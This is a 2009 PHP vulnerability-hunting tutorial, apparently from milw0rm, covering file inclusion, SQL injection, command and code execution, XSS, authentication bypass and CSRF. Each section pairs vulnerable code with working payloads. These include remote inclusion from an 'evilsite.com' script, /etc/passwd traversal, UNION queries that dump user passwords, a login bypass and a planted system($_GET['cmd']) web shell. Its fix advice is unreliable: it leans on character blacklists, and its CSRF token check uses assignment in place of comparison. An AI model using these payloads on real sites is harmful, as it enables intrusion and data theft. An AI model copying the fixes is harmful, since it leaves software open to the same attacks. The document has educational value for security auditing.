Finding vulnerabilities in PHP
1) About
2) Some stuff
3) Remote File Inclusion
3.0 - Basic example
3.1 - Simple example
3.2 - How to fix
4) Local File Inclusion
4.0 - Basic example
4.1 - Simple example
4.2 - How to fix
5) Local File Disclosure/Download
5.0 - Basic example
5.1 - Simple example
5.2 - How to fix
6) SQL Injection
6.0 - Basic example
6.1 - Simple example
6.2 - SQL Login Bypass
6.3 - How to fix
7) Insecure Cookie Handling
7.0 - Basic example
7.1 - Simple example
7.2 - How to fix
8) Remote Command Execution
8.0 - Basic example
8.1 - Simple example
8.2 - Advanced example
8.3 - How to fix
9) Remote Code Execution
9.0 - Basic example
9.1 - Simple example
9.2 - How to fix
10) Cross-Site Scripting
10.0 - Basic example
10.1 - Another example
10.2 - Simple example
10.3 - How to fix
11) Authentication Bypass
11.0 - Basic example
11.1 - Via login variable
11.2 - Unprotected Admin CP
11.3 - How to fix
12) Insecure Permissions
12.0 - Basic example
12.1 - Read the users/passwords
12.2 - Download backups
12.3 - INC files
12.4 - How to fix
13) Cross Site Request Forgery
13.0 - Basic example
13.1 - Simple example
13.2 - How to fix
14) Shoutz
1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain
how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the
examples without the basic example of each category was founded in different scripts.
2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin.
You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions
to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what
configuration I use and why :
safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ' " \ and NUL's with a backslash and we don't want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )
How to proceed : First,create a database to be used by different scripts.Install the script on
localhost and start the audit over the source code.If you found something open the web browser and
test it,maybe you are wrong.
3) Remote File Inclusion
- Tips : You can use the NULLBYTE and ? trick.
You can use HTTPS and FTP to bypass filters ( http filtered )
In PHP is 4 functions through you can include code.
require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.
require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.
include - includes and evaluates the specified file.
include_once - includes and evaluates the specified file during the execution of the script.
3.0 - Basic example
- Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
you can use "https" or "ftp".
- Code snippet from test.php
-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina;
?>
-----------------------------------------------
- If we access the page we got some errors and some warnings( not pasted ) :
Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2
- We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example :
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
Now I will show why some people use ? and after the link to the evil script.
# The ""
- Code snippet from test.php
-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina.'.php';
?>
-----------------------------------------------
- So if we will request
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
Will not work because the script will try to include http://evilsite.com/evilscript.txt.php
So we will add a NULLBYTE ( ) and all the shit after nullbyte will not be taken in
consideration.Example :
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
The script will successfully include our evilscript and will throw to junk the things
after the nullbyte.
# The "?"
- Code snippet from test.php
-----------------------------------------------
<?php
$pagina=$_GET['pagina'];
include $pagina.'logged=1';
?>
-----------------------------------------------
And the logged=1 will become like a variable.But better use nullbyte.Example :
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
The evilscript will be included succesfully.
3.1 - Simple example
Now an example from a script.
- Code snippet from index.php
----------------------------------------------------
if (isset($_REQUEST["main_content"])){
$main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content = $_SESSION["main_content"];
}
.......................etc..................
ob_start();
require_once($main_content);
----------------------------------------------------
We can see that "main_content" variable is requested by $_REQUEST method.The attacker can
set any value that he want. Below the "main_content" variable is include.So if we make the
following request :
http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt
Our evil script will be successfully included.
3.2 - How to fix
Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
Another way : filter "http" , "https" , "ftp" and "smb".
4) Local File Inclusion
- Tips : You can use the NULLBYTE and ? trick.
../ mean a directory up
On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" ( urlencoded ).
The same functions which let you to include (include,include_once,require,require_once) .
4.0 - Basic example
- Code snippet from test.php
-----------------------------------
<?php
$pagina=$_GET['pagina'];
include '/pages/'.$pagina;
?>
-----------------------------------
Now,we can not include our script because we can not include remote files.We can include only
local files as you see.So if we make the following request :
http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
The script will include "/pages/../../../../../../etc/passwd" successfully.
You can use the and ? .The same story.
4.1 - Simple example
- Code snippet from install/install.php
-------------------------------------
if(empty($_GET["url"]))
$url = 'step_welcome.php';
else
$url = $_GET["url"];
.............etc.............
<p><? include('step/'.$url) ?></p>
-------------------------------------
We can see that "url" variable is injectable.If the "url" variable is not set
(is empty) the script will include "step_welcome.php" else will include the
variable set by the attacker.
So if we do the following request :
http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd
The "etc/passwd" file will be succesfully included.
4.2 - How to fix
Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .
5) Local File Disclosure/Download
- Tips : Through this vulnerability you can read the content of files,not include.
Some functions which let you to read files :
file_get_contents — Reads entire file into a string
readfile — Outputs a file
file — Reads entire file into an array
fopen — Opens file or URL
highlight_file — Syntax highlighting of a file.Prints out or returns a syntax
highlighted version of the code contained in filename using the
colors defined in the built-in syntax highlighter for PHP.
show_source — Alias of highlight_file()
5.0 - Basic example
- Code snippet from test.php
--------------------------------------
<?php
$pagina=$_GET['pagina'];
readfile($pagina);
?>
--------------------------------------
The readfile() function will read the content of the specified file.So if we do the following request :
http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
The content of etc/passwd will be outputed NOT included.
5.1 - Simple example
- Code snippet from download.php
-----------------------------------------------------------------------------------
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));
//header( "Content-Description: File Transfer");
@readfile($file);
die();
-----------------------------------------------------------------------------------
The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.
And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.
If we make the following request :
http://127.0.0.1/download.php?file=../../../../../../etc/passwd
So we can succesfully read the "etc/passwd" file.
5.2 - How to fix
Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .
6) SQL Injection
- Tips : If the user have file privileges you can read files.
If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
you can upload you code into a file.
6.0 - Basic example
- Code snippet from test.php
----------------------------------------------------------------------------------
<?php
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>
----------------------------------------------------------------------------------
The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :
http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--
And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have
file privileges.
6.1 - Simple example
- Code snippet from house/listing_view.php
-----------------------------------------------------------------------------------------------------------------------------
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
-----------------------------------------------------------------------------------------------------------------------------
We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
So we can inject our code.Lets make a request :
http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--
And we get the email and the password from the users table.
6.2 - SQL Injection Login Bypass
- Code snippet from /admin/login.php
------------------------------------------------------------------------------------------------------------------------------
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
or die("<p>" . mysql_error() . "</p>\n");
------------------------------------------------------------------------------------------------------------------------------
The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :
username : admin ' or ' 1=1
password : sirgod
We logged in.Why?Look,the code will become
---------------------------------------------------------------------------------------------------------------------------------
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'")
---------------------------------------------------------------------------------------------------------------------------------
Login bypassed.The username must be an existent username.
6.3 - How to fix
Simple way : Don't allow special chars in variables.For numeric variables
use (int) ,example $id=(int)$_GET['id'];
Another way : For non-numeric variables : filter all special chars used in
SQLI : - , . ( ) ' " _ + / *
7) Insecure Cooke Handling
- Tips : Write the code in the URLbar,don't use a cookie editor for this.
7.0 - Basic example
- Code snippet from test.php
---------------------------------------------------------------
if($_POST['password'] == $thepass) {
setcookie("is_user_logged","1");
} else { die("Login failed!"); }
............ etc .................
if($_COOKIE['is_user_logged']=="1")
{ include "admin.php"; else { die('not logged'); }
---------------------------------------------------------------
Something interesting here.If we set to the "is_user_logged" variable
from cookie value "1" we are logged in.Example :
javascript:document.cookie = "is_user_logged=1; path=/";
So practically we are logged in,we pass the check and we can access the admin panel.
7.1 - Simple example
- Code snippet from admin.php
----------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:<BR><form method=post><input type=password
name=password><input type=hidden value=login name=login><input
type=submit></form>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
----------------------------------------------------------------
Code looks exploitable.We can set a cookie value that let us to bypass the login
and tell to the script that we are already logged in.Example :
javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";
What is 1246371700? Is the current time() echo'ed + 360.
7.2 - How to fix
Simple way : The most simple and eficient way : use SESSIONS .
8) Remote Command Execution
- Tips : If in script is used exec() you can't see the command output(but the command is executed)
until the result isn't echo'ed from script.
You can use AND operator ( || ) if the script execute more than one command .
In PHP are some functions that let you to execute commands :
exec — Execute an external program
passthru — Execute an external program and display raw output
shell_exec — Execute command via shell and return the complete output as a string
system — Execute an external program and display the output
8.0 - Basic example
- Code snippet from test.php
---------------------------------
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
---------------------------------
So if we make the following request :
http://127.0.0.1/test.php?cmd=whoami
The command will be executed and the result will be outputed.
8.1 - Simple example
- Code snippet from dig.php
-------------------------------------------------------------------------------------------
$status = $_GET['status'];
$ns = $_GET['ns'];
$host = $_GET['host'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
........................ etc ........................
$host = trim($host);
$host = strtolower($host);
echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>");
echo '<pre>';
system ("dig @$ns $host $query_type");
-------------------------------------------------------------------------------------------
The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command
that he want through this variable.
Lets make a request :
http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and
will not work of course.Lets do something a little bit tricky.We have the AND operator
( || ) and we will use it to separe the commands.Example :
http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".
8.2 - Advanced example
- Code snippet from add_reg.php
-------------------------------------------------------
$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
...................etc......................
$html = "<?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");
-------------------------------------------------------
We can see that the script creates a php file in "sites" directory( ourusername.php ).
The script save all the user data in that file so we can inject our evil code into one
field,I choose the "location" variable.
So if we register as an user with the location (set the "location" value) :
<?php system($_GET['cmd']); ?>
the code inside sites/ourusername.php will become :
-------------------------------------------------
<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "<?php system($_GET['cmd']); ?>";
$url = "http://google.ro";
?>
-------------------------------------------------
So we will get an parse error.Not good.We must inject a proper code to get the result that we want.
Lets inject this code :
\";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D
So the code inside sites/ourusername.php will become :
--------------------------------------------------------------
<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
$url = "http://google.ro";
?>
--------------------------------------------------------------
and we will have no error.Why?See the code :
$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
Lets split it :
-------------------------------
$location = "";
?>
<?php system($_GET['cmd']);?>
<?php $xxx=":D";
-------------------------------
We set the location value to "",close the first php tags,open the tags
again,wrote our evil code,close the tags and open other and add a variable
"xxx" because we dont want any error.I wrote that code because I want no
error,can be modified to be small but will give some errors(will not
stop us to execute commands but looks ugly).
So if we make the following request :
http://127.0.0.1/sites/ourusername.php?cmd=whoami
And our command will be succesfully executed.
8.3 - How to fix
Simple way : Don't allow user input .
Another way : Use escapeshellarg() and escapeshellcmd() functions .
Example : $cmd=escapeshellarg($_GET'cmd']);
9) Remote Code Execution
- Tips : You must inject valid PHP code including terminating statements ( ; ) .
9.0 - Basic example
- Code snippet from test.php
-----------------------------------
<?php
$code=$_GET['code'];
eval($code);
?>
-----------------------------------
The "eval" function evaluate a string as PHP code.So in this case we are able to execute
our PHP code.Examples :
http://127.0.0.1/test.php?code=phpinfo();
http://127.0.0.1/test.php?code=system(whoami);
And we will see the output of the PHP code injected by us.
9.1 - Simple example
- Code snippet from system/services/init.php
------------------------------------------------
$conf = array_merge($conf,$confweb);
}
@eval(stripslashes($_REQUEST['anticode']));
if ( $_SERVER['HTTP_CLIENT_IP'] )
------------------------------------------------
We see that the "anticode" is requested by $_REQUEST method and the coder
"secured" the input with "stripslashes" which is useless here,we don't need
slashes to execute our php code only if we want to include a URL.So we can
inject our PHP code.Example :
http://127.0.0.1/test.php?anticode=phpinfo();
Great,injection done,phpinfo() result printed.No include because slashes are
removed,but we can use system() or another function to execute commands.
9.2 - How to fix
Simple way : Don't allow ";" and the PHP code will be invalid.
Another way : Don't allow any special char like "(" or ")" etc.
10) Cross-Site Scripting
- Tips : You can use alot of vectors,can try alot of bypass methods,you cand
find them around the web.
10.0 - Basic example
- Code snippet from test.php
---------------------------------
<?php
$name=$_GET['name'];
print $name;
?>
---------------------------------
The input is not filtered,an attacker can inject JavaScript code.Example :
http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
A popup with XSS message will be displayed.JavaScript code succesfully executed.
10.1 - Another example
- Code snippet from test.php
-------------------------------------------
<?php
$name=addslashes($_GET['name']);
print '<table name="'.$name.'"></table>';
?>
-------------------------------------------
Not an advanced example,only a bit complicated.
http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>
Why this vector?We put " because we must close the " from the "name" atribut
of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because
we want to bypass addslashes() function.Injection done.
10.2 - Simple example
- Code snippet from modules.php
---------------------------------------------------------------------------
if (isset($name)) {
.................... etc................
} else {
die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
---------------------------------------------------------------------------
The "name" variable is injectable,input is not filtered,so we can inject
with ease JavaScript code.Example :
http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
10.3 - How to fix
Simple way : Use htmlentities() or htmlspecialchars() functions.
Example : $name=htmlentities($_GET['name']);
Another way : Filter all special chars used for XSS ( a lot ).
The best way is the first method.
11) Authentication Bypass
- Tips : Look deep in the scripts,look in the admin directories,
maybe are not protected,also look for undefined variables
like "login" or "auth".
11.0 - Basic example
I will provide a simple example of authentication bypass
via login variable.
- Code snippet from test.php
---------------------------------
<?php
if ($logged==true) {
echo 'Logged in.'; }
else {
print 'Not logged in.';
}
?>
---------------------------------
Here we need register_gloabals = on . I will talk about php.ini
settings a bit later in this tutorial.If we set the value of $logged
variable to 1 the if condition will be true and we are logged in.
Example :
http://127.0.0.1/test/php?logged=1
And we are logged in.
11.1 - Via login variable
- Code snippet from login.php
------------------------------------------------------------------------------------
if ($login_ok)
{
$_SESSION['loggato'] = true;
echo "<p>$txt_pass_ok</p>";
echo"<div align='center'><a href='index.php'>$txt_view_entry</a> |
<a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install
</a></div>";
}
------------------------------------------------------------------------------------
Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who
tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
Example :
http://127.0.0.1/login.php?login_ok=1
Now we are logged in.
11.2 - Unprotected Admin CP
You couln't belive this but some PHP scrips don't protect the admin
control panel : no login,no .htaccess,nothing.So we simply we go to
the admin panel directory and we take the control of the website.
Example :
http://127.0.0.1/admin/files.php
We accessed the admin panel with a simple request.
11.3 - How to fix
- Login variable bypass : Use a REAL authentication system,don't check the
login like that,use SESSION verification.Example :
if($_SESSION['logged']==1) {
echo 'Logged in'; }
else { echo 'Not logged in';
}
- Unprotected Admin CP : Use an authentication system or use .htaccess to
allow access from specific IP's or .htpasswd to
request an username and a password for admin CP.
Example :
.htaccess :
order deny, allow
deny from all
allow from 127.0.0.1
.htpasswd :
AuthUserFile /the/path/.htpasswd
AuthType Basic
AuthName "Admin CP"
Require valid-user
and /the/path/.htpasswd
sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.
12) Insecure Permissions
Tips : Look deep into the files,look if the script request to be
logged in to do something,maybe the script don't request.
Watch out for insecure permissions,maybe you can do admin
things without login.
12.0 - Basic example
We are thinking at a script who let the admin to have a lookup in
the users database through a file placed in /admin directory.That
file is named...hmmm : db_lookup.php.
- Code snippet from admin/db_lookup.php
--------------------------------------------
<?php
// Lookup in the database
readfile('protected/usersdb.txt');
?>
--------------------------------------------
Lets think.We cannot access the "protected" directory because
is .htaccess'ed.But look at this file,no logged-in check,nothing.
So if we acces :
http://127.0.0.1/admin/db_lookup.php
We can see the database.Remember,this is only an example created by
me,not a real one,you can find this kind of vulnerabilities in scripts.
12.1 - Read the users/passwords
Oh yeah,some coders are so stupid.They save the usernames and passwords
in text files,UNPROTECTED.A simple example from a script :
http://127.0.0.1/userpwd.txt
And we read the file,the usernames and passwords are there.
12.2 - Download Backups
Some scripts have database backup functions,some are safe,some are not safe.
I will show you a real script example :
- Code snippet from /adminpanel/phpmydump.php
--------------------------------------------------------------------------------
function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
$con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");
$db=@mysql_select_db($dbname,$con) or die("Could not select db");
.............................. etc ..........................
mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
--------------------------------------------------------------------------------
After a lof of code the function is called.I don't pasted the entire code
because is huge.I analyzed the script,no login required,no check,nothing.So
if we access the file directly the download of the backup will start.Example :
http://127.0.0.1/adminpanel/phpmydump.php
Now we have the database backup saved in our computer.
12.3 - INC files
Some scripts saves important data in INC files.Usually in INC files is PHP
code containing database configuration.The INC files can be viewed in
browser even they contain PHP code.So a simple request will be enough to
access and read the file.Example :
http://127.0.0.1/inc/mysql.inc
Now we have the database connection details.Look deep in scripts,is more
scripts who saves important data into INC files.
12.4 - How to fix
- Basic example : Check if the admin is logged in,if not,redirect.
- Read the users/passwords : Save the records in a MySQL database
or in a protected file/directory.
- Download Backups : Check if the admin is logged in,if not,redirect.
- INC files : Save the configuration in proper files,like .php or
protect the directory with an .htaccess file.
13) Cross Site Request Forgery
- Tips : Through CSRF you can change the admin password,is not
so inofensive.
Can be used with XSS,redirected from XSS.
13.0 - Basic example
- Code snippet from test.php
-----------------------------------------
<?php
check_auth();
if(isset($_GET['news']))
{ unlink('files/news'.$news.'.txt'); }
else {
die('File not deleted'); }
?>
-----------------------------------------
In this example you will see what is CSRF and how it works.In the "files"
directory are saved the news written by the author.The news are saved like
"news1.txt","news2.txt" etc. So the admin can delete the news.The news that
he want to delete will be specified in "news" variable.If he want to delete
the news1.txt the value of "news" will be "1".We cannot execute this without
admin permissions,look,the script check if we are logged in.
I will show you an example.If we request :
http://127.0.0.1/test.php?news=1
The /news/news1.txt file will be deleted.The script directly delete the file
without any notice.So we can use this to delete a file.All we need is to trick
the admin to click our evil link and the file specified by us in the "news"
variable will be deleted.
13.1 - Simple example
In a way the codes below are included in the index.php file ,I
will not paste all the includes,there are a lot.
- Code snippet from includes/pages/admin.php
--------------------------------------------------------------------
if ($_GET['act'] == '') {
include "includes/pages/admin/home.php";
} else {
include "includes/pages/admin/" . $_GET['act'] . ".php";
--------------------------------------------------------------------
Here we can see how the "includes/pages/admin/members.php" is included in
this file.If "act=members" the file below will be included.
- Code snippet from includes/pages/admin/members.php
----------------------------------------------------------------------------------------------
if ($_GET['func'] == 'delete') {
$del_id = $_GET['id'];
$query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
$result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
while ($results2121 = mysql_fetch_array($result2121)) {
$their_role = $results2121['ROLE'];
}
if ($their_role != '1') {
mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
());
----------------------------------------------------------------------------------------------
We can see here that if "func=delete" will be called by URL,the script will
delete from the database a user with the specified ID ( $id ) without any
confirmation.Example :
http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4
The script check if the admin is logged in so if we trick the admin to click
our evil link the user who have the specified ID in the database will be deleted
without any confirmation.
13.2 - How to fix
- Simple way : Use tokens.At each login,generate a random token and save it
in the session.Request the token in URL to do administrative
actions,if the token missing or is wrong,don't execute the
action.I will show you only how to to check if the token
is present and is correct.Example :
-------------------------------------------------------
<?php
check_auth();
if(isset($_GET['news']) && $token=$_SESSION['token'])
{ unlink('files/news'.$news.'.txt'); }
else {
die('Error.'); }
?>
-------------------------------------------------------
The request will look like this one :
http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]
So this request will be fine,the news will be deleted.
- Another way : Do some complicated confirmations or request a password
to do administrative actions.
14) Shoutz
Shoutz to all www.insecurity.ro & www.h4cky0u.org members.If you have some suggestions or
questions just email me.
# milw0rm.com [2009-09-09]
© Offensive Security 2011
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